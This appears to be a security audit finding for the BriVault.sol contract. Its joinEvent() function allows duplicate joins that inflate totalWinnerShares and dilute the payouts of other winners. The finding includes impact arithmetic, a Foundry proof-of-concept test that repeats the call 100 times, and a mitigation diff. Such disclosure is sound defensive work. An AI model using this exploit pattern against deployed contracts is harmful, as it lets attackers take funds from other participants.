Root + Impact
Description
The missing duplicate prevention check in BriVault.sol::joinEvent() will cause a loss of winnings for all legitimate winners as an attacker will repeatedly call joinEvent() with the same bet to inflate totalWinnerShares, diluting everyone's payouts.
In BriVault.sol:242-269, the joinEvent() function lacks a check to prevent users from calling it multiple times.
The function:
Allows duplicate entries in the usersAddress[] array (line 263: usersAddress.push(msg.sender))
Increments numberOfParticipants on every call (line 265)
Accumulates totalParticipantShares repeatedly (line 266)
Overwrites userToCountry and userSharesToCountry mappings on each call
This causes _getWinnerShares() (lines 191-198) to count the same user's shares multiple times when calculating totalWinnerShares:
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
Risk
Likelihood:
Owner needs to call setCountry() to initialize the teams array
Event must not have started yet (block.timestamp < eventStartDate)
Attacker needs to have deposited at least minimumAmount + participationFee worth of assets
Impact:
All legitimate winners suffer an approximate loss proportional to the inflation factor. With 100 duplicate joinEvent() calls by an attacker with equal shares to victims:
-
If attacker and victim both have 10,000 shares (50/50 split expected)
-
totalWinnerShares becomes: 10,000 (victim) + 10,000×100 (attacker counted 100 times) = 1,010,000
-
Victim receives: (10,000 / 1,010,000) × vault = ~0.99% instead of 50%
-
Victim loses ~49% of the vault balance
Proof of Concept
Attacker calls joinEvent() 100 times to inflate totalWinnerShares by 100x. This reduces all winners' payouts proportionally without attacker cost
function test_InflatedShares_MultipleJoinCalls() public {
vm.startPrank(victim);
token.approve(address(vault), 10 ether);
vault.deposit(10 ether, victim);
vault.joinEvent(0);
uint256 victimShares = vault.balanceOf(victim);
vm.stopPrank();
vm.startPrank(attacker);
token.approve(address(vault), 10 ether);
vault.deposit(10 ether, attacker);
uint256 attackerShares = vault.balanceOf(attacker);
for (uint256 i = 0; i < 100; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.prank(owner);
vault.setWinner(0);
uint256 totalWinnerShares = vault.totalWinnerShares();
uint256 actualTotalShares = victimShares + attackerShares;
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 victimActualPayout = (victimShares * vaultBalance) / totalWinnerShares;
uint256 victimExpectedPayout = (victimShares * vaultBalance) / actualTotalShares;
assertTrue(totalWinnerShares > actualTotalShares, "totalWinnerShares should be inflated");
assertTrue(victimActualPayout < victimExpectedPayout, "Victim should receive reduced payout");
assertEq(vault.numberOfParticipants(), 101, "Should have 101 duplicate entries");
uint256 victimBalanceBefore = token.balanceOf(victim);
vm.prank(victim);
vault.withdraw();
uint256 victimBalanceAfter = token.balanceOf(victim);
uint256 victimReceived = victimBalanceAfter - victimBalanceBefore;
assertEq(victimReceived, victimActualPayout, "Victim received reduced payout");
assertTrue(victimReceived < victimExpectedPayout, "Victim lost funds due to inflated shares");
}
Recommended Mitigation
Add a check in joinEvent() to prevent duplicate joins:
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ // Prevent duplicate joins
+ if (bytes(userToCountry[msg.sender]).length != 0) {
+ revert AlreadyJoined();
+ }
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}